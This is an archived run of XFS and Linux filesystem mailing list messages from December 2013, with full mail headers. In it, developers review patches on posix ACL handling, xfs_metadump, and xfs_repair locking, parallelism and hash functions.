posix_acl_chmod more useful MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [PATCH 05/18] fs: make posix_acl_chmod more useful Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [178.165.132.32] X-Mailer: Zimbra 8.0.5_GA_5839 (ZimbraWebClient - FF24 (Linux)/8.0.5_GA_5839) Thread-Topic: make posix_acl_chmod more useful Thread-Index: 7P+KktW5IEJf5zug8KVMXrtQ4EdvpQ== X-Barracuda-Connect: zimbra13.linbit.com[212.69.166.240] X-Barracuda-Start-Time: 1386875241 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143046 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Christoph, > +int > +posix_acl_chmod(struct inode *inode) > +{ > + struct posix_acl *acl; > + int ret = 0; > + > + if (S_ISLNK(inode->i_mode) || !inode->i_op->set_acl) > + return -EOPNOTSUPP; Symlinks never have get_acl callbacks, so I would remove the S_ISLNK() check here. Andreas From andreas.gruenbacher@linbit.com Thu Dec 12 13:08:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 10D697F77 for ; Thu, 12 Dec 2013 13:08:00 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 930DBAC005 for ; Thu, 12 Dec 2013 11:07:56 -0800 (PST) X-ASG-Debug-ID: 1386875274-04cbb041666e66f0001-NocioJ Received: from zimbra13.linbit.com (zimbra13.linbit.com [212.69.166.240]) by cuda.sgi.com with ESMTP id opQlwMGfuTT9d0cC for ; Thu, 12 Dec 2013 11:07:55 -0800 (PST) X-Barracuda-Envelope-From: andreas.gruenbacher@linbit.com X-Barracuda-Apparent-Source-IP: 212.69.166.240 Received: from localhost (localhost [127.0.0.1]) by zimbra13.linbit.com (Postfix) with ESMTP id B29672C1ED4; Thu, 12 Dec 2013 20:07:54 +0100 (CET) Received: from zimbra13.linbit.com ([127.0.0.1]) by localhost (zimbra13.linbit.com [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id HZQ5XwDx9r_o; Thu, 12 Dec 2013 20:07:54 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by zimbra13.linbit.com (Postfix) with ESMTP id 833FE2C1B54; Thu, 12 Dec 2013 20:07:54 +0100 (CET) X-Virus-Scanned: amavisd-new at linbit.com Received: from zimbra13.linbit.com ([127.0.0.1]) by localhost (zimbra13.linbit.com [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id 1bM4t5p1b2Py; Thu, 12 Dec 2013 20:07:54 +0100 (CET) Received: from zimbra13.linbit.com (zimbra13.linbit.com [212.69.166.240]) by zimbra13.linbit.com (Postfix) with ESMTP id 3A2D42C1ED4; Thu, 12 Dec 2013 20:07:54 +0100 (CET) Date: Thu, 12 Dec 2013 20:07:54 +0100 (CET) From: Andreas Gruenbacher To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Jan Kara Message-ID: <1342716144.69126.1386875274180.JavaMail.zimbra@linbit.com> In-Reply-To: <20131211104527.044064384@bombadil.infradead.org> References: <20131211104243.148113893@bombadil.infradead.org> <20131211104527.044064384@bombadil.infradead.org> Subject: Re: [PATCH 04/18] fs: add generic xattr_acl handlers MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [PATCH 04/18] fs: add generic xattr_acl handlers Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [178.165.132.32] X-Mailer: Zimbra 8.0.5_GA_5839 (ZimbraWebClient - FF24 (Linux)/8.0.5_GA_5839) Thread-Topic: add generic xattr_acl handlers Thread-Index: LpXJCtrFY8l7N0wRtk1Ipy0lU/R8dg== X-Barracuda-Connect: zimbra13.linbit.com[212.69.166.240] X-Barracuda-Start-Time: 1386875274 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.62 X-Barracuda-Spam-Status: No, SCORE=2.62 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143046 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 Christoph, > +static int > +posix_acl_xattr_set(struct dentry *dentry, const char *name, > + const void *value, size_t size, int flags, int type) > +{ > + struct inode *inode = dentry->d_inode; > + struct posix_acl *acl = NULL; > + int ret; > + > + if (!IS_POSIXACL(inode)) > + return -EOPNOTSUPP; > + if (S_ISLNK(inode->i_mode) || !inode->i_op->set_acl) > + return -EOPNOTSUPP; Sama here, I would remove the S_ISLNK() check. Andreas From andreas.gruenbacher@linbit.com Thu Dec 12 13:08:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 544A429E1D for ; Thu, 12 Dec 2013 13:08:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3EC5130406A for ; Thu, 12 Dec 2013 11:08:40 -0800 (PST) X-ASG-Debug-ID: 1386875319-04cb6c537d6e06b0001-NocioJ Received: from zimbra13.linbit.com (zimbra13.linbit.com [212.69.166.240]) by cuda.sgi.com with ESMTP id rDbi27fQMsh1aohQ for ; Thu, 12 Dec 2013 11:08:39 -0800 (PST) X-Barracuda-Envelope-From: andreas.gruenbacher@linbit.com X-Barracuda-Apparent-Source-IP: 212.69.166.240 Received: from localhost (localhost [127.0.0.1]) by zimbra13.linbit.com (Postfix) with ESMTP id D95DD2C1D30; Thu, 12 Dec 2013 20:08:38 +0100 (CET) Received: from zimbra13.linbit.com ([127.0.0.1]) by localhost (zimbra13.linbit.com [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id eId-y06k6Fac; Thu, 12 Dec 2013 20:08:38 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by zimbra13.linbit.com (Postfix) with ESMTP id B8ACD2C0F34; Thu, 12 Dec 2013 20:08:38 +0100 (CET) X-Virus-Scanned: amavisd-new at linbit.com Received: from zimbra13.linbit.com ([127.0.0.1]) by localhost (zimbra13.linbit.com [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id h4uZG1XMU3qM; Thu, 12 Dec 2013 20:08:38 +0100 (CET) Received: from zimbra13.linbit.com (zimbra13.linbit.com [212.69.166.240]) by zimbra13.linbit.com (Postfix) with ESMTP id 9E58F2C1D30; Thu, 12 Dec 2013 20:08:38 +0100 (CET) Date: Thu, 12 Dec 2013 20:08:38 +0100 (CET) From: Andreas Gruenbacher To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Message-ID: <966512490.69128.1386875318581.JavaMail.zimbra@linbit.com> In-Reply-To: <20131211104529.142731540@bombadil.infradead.org> References: <20131211104243.148113893@bombadil.infradead.org> <20131211104529.142731540@bombadil.infradead.org> Subject: Re: [PATCH 16/18] gfs2: use generic posix ACL infrastructure MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [PATCH 16/18] gfs2: use generic posix ACL infrastructure Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [178.165.132.32] X-Mailer: Zimbra 8.0.5_GA_5839 (ZimbraWebClient - FF24 (Linux)/8.0.5_GA_5839) Thread-Topic: gfs2: use generic posix ACL infrastructure Thread-Index: ui97oxMv2GixEDY8lqNLD1BV5z05sQ== X-Barracuda-Connect: zimbra13.linbit.com[212.69.166.240] X-Barracuda-Start-Time: 1386875319 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.62 X-Barracuda-Spam-Status: No, SCORE=0.62 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143046 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.60 MARKETING_SUBJECT Subject contains popular marketing words Christoph, gfs2 has a left-over get_acl callback in gfs2_symlink_iops in fs/gfs2/inode.c, from a long time ago, which should be removed as well. Andreas From sandeen@sandeen.net Thu Dec 12 14:01:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4975329DF8 for ; Thu, 12 Dec 2013 14:01:36 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 391AE8F8065 for ; Thu, 12 Dec 2013 12:01:33 -0800 (PST) X-ASG-Debug-ID: 1386878488-04cb6c537b6e1910001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id wfo3er9SphqSANYY for ; Thu, 12 Dec 2013 12:01:28 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id B61A06ED9F51; Thu, 12 Dec 2013 14:01:27 -0600 (CST) Message-ID: <52AA160C.7070109@sandeen.net> Date: Thu, 12 Dec 2013 14:01:16 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Christoph Hellwig , Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfs_metadump: Make -F (force) optional References: <52A9F6CF.1070300@redhat.com> <20131212183115.GA16378@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs_metadump: Make -F (force) optional In-Reply-To: <20131212183115.GA16378@infradead.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1386878488 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143047 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/12/13, 12:31 PM, Christoph Hellwig wrote: > Looks good, > > Reviewed-by: Christoph Hellwig > >> xfs_metadump will pass "-F" to xfs_db to carry on even in the face >> of bad superblock magic. [1] Depending on what we gave as an input >> file, we may very well fail quite badly: >> >>> xfs_metadump: /root/anaconda.cfg is not a valid XFS filesystem (unexpected SB magic number 0x230a2320) >>> Floating point exception >> >> I don't think it's possible to harden every path through libxfs for >> non-xfs filesystems as input. (Even if it's possible, I don't think it's >> worth the effort). > > Can you add a test to verify that xfs_metadump now correctly rejects > files that don't have a valid superblock? ok, can do. Thanks Christoph, -Eric > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From david@fromorbit.com Thu Dec 12 14:46:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AB94129DF8 for ; Thu, 12 Dec 2013 14:46:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 798378F8065 for ; Thu, 12 Dec 2013 12:46:29 -0800 (PST) X-ASG-Debug-ID: 1386881187-04bdf013221f1230001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id hUBkzjjMXnHcJvPP for ; Thu, 12 Dec 2013 12:46:27 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HANQfqlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHBd0giUBAQU6HCMQCAMOBwMJJQ8FJQMhE4gDwzAXFo5+B4Q1BJgUkhWDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 07:16:26 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrD9L-0002YQ-4B; Fri, 13 Dec 2013 07:46:23 +1100 Date: Fri, 13 Dec 2013 07:46:23 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/5] repair: per AG locks contend for cachelines Message-ID: <20131212204623.GY10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/5] repair: per AG locks contend for cachelines References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-3-git-send-email-david@fromorbit.com> <52AA0773.1000506@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52AA0773.1000506@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386881187 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143047 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 01:58:59PM -0500, Brian Foster wrote: > On 12/12/2013 02:22 AM, Dave Chinner wrote: > > From: Dave Chinner > > > > The per-ag locks used to protect per-ag block lists are located in a tightly > > packed array. That means that they share cachelines, so separate them out inot > > separate 64 byte regions in the array. > > > > pahole confirms the padding is correctly applied: > > > > struct aglock { > > pthread_mutex_t lock; /* 0 40 */ > > > > /* size: 64, cachelines: 1, members: 1 */ > > /* padding: 24 */ > > }; > > > > Signed-off-by: Dave Chinner > > --- > > Out of curiosity, any data on this one? There's a small improvement but it's within the margins of error. At higher levels of concurrency it will make a bigger difference, but right now we can't get to a thread per AG (where the contention would really show) because of other scalability limitations e.g. mmap_sem contention becomes a limiting factor at 20-25 threads because of page faults occurring on hash cache lookups (read lock) occurring in parallel with memory allocation (libc mprotect calls take a write lock). So more scalability will come from a CPU cache friendlier cache index - I'm tempted to drop in per-AG rb trees and see where that leads (now where would I have got that idea?).... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 14:53:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2333D7F3F for ; Thu, 12 Dec 2013 14:53:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id F2BF4304039 for ; Thu, 12 Dec 2013 12:53:19 -0800 (PST) X-ASG-Debug-ID: 1386881594-04cbb041676e9490001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id j4K44CCJcFTUCILp for ; Thu, 12 Dec 2013 12:53:15 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Am0NAAEhqlJ5LHyk/2dsb2JhbABZgwo4gwShHwOPOIVPgRwXdIIlAQEEAScTHCMFCwgDDgoJJQ8FJQMhE4d8B8M0FxaOfgeENQSYFIExkGSDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 07:23:14 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrDFw-0002ZQ-16; Fri, 13 Dec 2013 07:53:12 +1100 Date: Fri, 13 Dec 2013 07:53:12 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/5] repair: phase 6 is trivially parallelisable Message-ID: <20131212205311.GZ10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/5] repair: phase 6 is trivially parallelisable References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-4-git-send-email-david@fromorbit.com> <20131212184346.GA23479@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212184346.GA23479@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386881594 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143048 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 10:43:46AM -0800, Christoph Hellwig wrote: > > static void > > add_dotdot_update( > > @@ -64,12 +65,14 @@ add_dotdot_update( > > do_error(_("malloc failed add_dotdot_update (%zu bytes)\n"), > > sizeof(dotdot_update_t)); > > > > + pthread_mutex_lock(&dotdot_lock); > > dir->next = dotdot_update_list; > > dir->irec = irec; > > dir->agno = agno; > > dir->ino_offset = ino_offset; > > > > dotdot_update_list = dir; > > + pthread_mutex_unlock(&dotdot_lock); > > Would be nice to make this use a list_head if you touch it anyway. > (As a separate patch) > > > static void > > traverse_ags( > > - xfs_mount_t *mp) > > + xfs_mount_t *mp) > > Not quite sure what actually changed here, but if you touch it anyway > you might as well use the struct version.. Whitespace after xfs_mount_t, judging by the highlighting I see in the editor right now. > > + if (!ag_stride) { > > + work_queue_t queue; > > + > > + queue.mp = mp; > > + pf_args[0] = start_inode_prefetch(0, 1, NULL); > > + for (i = 0; i < glob_agcount; i++) { > > + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, > > + pf_args[i & 1]); > > + traverse_function(&queue, i, pf_args[i & 1]); > > + } > > + return; > > } > > + > > + /* > > + * create one worker thread for each segment of the volume > > + */ > > + queues = malloc(thread_count * sizeof(work_queue_t)); > > + for (i = 0, agno = 0; i < thread_count; i++) { > > + create_work_queue(&queues[i], mp, 1); > > + pf_args[0] = NULL; > > + for (j = 0; j < ag_stride && agno < glob_agcount; j++, agno++) { > > + pf_args[0] = start_inode_prefetch(agno, 1, pf_args[0]); > > + queue_work(&queues[i], traverse_function, agno, > > + pf_args[0]); > > + } > > + } > > + > > + /* > > + * wait for workers to complete > > + */ > > + for (i = 0; i < thread_count; i++) > > + destroy_work_queue(&queues[i]); > > + free(queues); > > > This is the third copy of this code block, might make sense to > consolidate it. Agreed, just haven't got to it. > Btw, does anyone remember why we have the libxfs_bcache_overflowed() > special case in phase4, but not anywhere else? I recall something about memory consumption, but I doubt that code can even trigger given that if we get to overflow conditions we immediately double the cache size and so libxfs_bcache_overflowed() will never see an overflow condition.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 14:57:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 45A747F3F for ; Thu, 12 Dec 2013 14:57:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C8009AC002 for ; Thu, 12 Dec 2013 12:57:01 -0800 (PST) X-ASG-Debug-ID: 1386881819-04cb6c537c6e35c0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id FtTU660XjK0n4Pyd for ; Thu, 12 Dec 2013 12:56:59 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HACEiqlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHBd0giUBAQU6HCMQCAMOBwMJJQ8FJQMhE4gDwyoXFo5+B4MigRMEmBSSFYM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 07:26:58 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrDJZ-0002a2-4h; Fri, 13 Dec 2013 07:56:57 +1100 Date: Fri, 13 Dec 2013 07:56:57 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/5] libxfs: buffer cache hashing is suboptimal Message-ID: <20131212205657.GA10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/5] libxfs: buffer cache hashing is suboptimal References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-5-git-send-email-david@fromorbit.com> <52AA078E.90800@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52AA078E.90800@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386881819 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143048 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 12, 2013 at 01:59:26PM -0500, Brian Foster wrote: > On 12/12/2013 02:22 AM, Dave Chinner wrote: > > From: Dave Chinner > > > > The hashkey calculation is very simplistic,and throws away an amount > > of entropy that should be folded into the hash. The result is > > sub-optimal distribution across the hash tables. For example, with a > > default 512 entry table, phase 2 results in this: > > > ... > > Modify the hash to be something more workable - steal the linux > > kernel inode hash calculation and try that: > > > ... > > > > Kinda says it all, really... > > > > Signed-off-by: Dave Chinner > > --- > > Results look nice and the algorithm seems to match the kernel variant, > but what about the 32-bit alternate prime/cache line values? Safe to > leave out..? The buffer cache uses a 64 bit key, regardless of the platform. Therefore the 64 bit variant is always needed. The kernel inode hash uses a 32 bit key on 32 bit systems, which is why there are two variants for it. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 12 15:00:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E19DD7F3F for ; Thu, 12 Dec 2013 15:00:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BE27A304066 for ; Thu, 12 Dec 2013 13:00:44 -0800 (PST) X-ASG-Debug-ID: 1386882042-04bdf05ced44d20001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id JCCSMU0tjgT8XjV9 for ; Thu, 12 Dec 2013 13:00:43 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak0HAFUjqlJ5LHyk/2dsb2JhbABZgwqDPLBahU+BHBd0giUBAQU6HCMQCAMOCgklDwUlAyETiAPDKxcWjidXB4MigRMEmBSSFYM9KIEt Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 13 Dec 2013 07:30:42 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrDNA-0002bH-Ow; Fri, 13 Dec 2013 08:00:40 +1100 Date: Fri, 13 Dec 2013 08:00:40 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 5/5] repair: limit auto-striding concurrency apprpriately Message-ID: <20131212210040.GB10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/5] repair: limit auto-striding concurrency apprpriately References: <1386832945-19763-1-git-send-email-david@fromorbit.com> <1386832945-19763-6-git-send-email-david@fromorbit.com> <20131212182908.GD10092@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212182908.GD10092@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386882042 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 